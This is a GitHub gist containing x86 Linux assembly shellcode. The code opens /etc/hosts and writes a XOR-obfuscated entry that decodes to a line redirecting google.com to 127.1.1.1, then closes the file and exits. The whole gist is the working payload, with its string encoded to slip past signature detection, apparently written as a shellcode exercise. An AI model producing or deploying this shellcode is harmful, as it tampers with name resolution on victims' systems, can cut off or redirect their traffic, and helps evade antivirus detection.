Last active
May 1, 2018 19:06
-
-
Save ahpaleus/5729e98256b5b18d9fba80e3ef266992 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
section .text | |
_start: | |
xor ecx, ecx | |
mul ecx | |
add al, 5 | |
push ecx | |
; XOR'ed | |
push 0x7374736f ;/etc///hosts | |
push 0x682f2f2f | |
push 0x6374652f | |
mov ebx, esp | |
mov cx, 1023 ;permissions | |
inc cx | |
inc cx | |
int 0x80 ;syscall to open file | |
xchg eax, ebx | |
mov eax, ebx | |
inc eax | |
push edx | |
mov ecx, 0xc7c5c984 | |
mov edx, 0xaaaaaaaa | |
xor ecx, edx | |
push ecx | |
mov ecx, 0xcfc6cdc5 | |
xor ecx, edx | |
push ecx | |
mov ecx, 0xc5cd8a9b | |
xor ecx, edx | |
push ecx | |
mov ecx, 0x849b849b | |
xor ecx, edx | |
push ecx | |
mov ecx, 0x849d989b | |
xor ecx, edx | |
push ecx | |
_write: | |
mov ecx, esp | |
xor edx, edx | |
mov dl, 20 | |
int 0x80 ;syscall to write in the file | |
xor eax, eax | |
mov al, 0x6 | |
int 0x80 ;syscall to close the file | |
mov al, 0x1 | |
int 0x80 ;syscall to exit |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment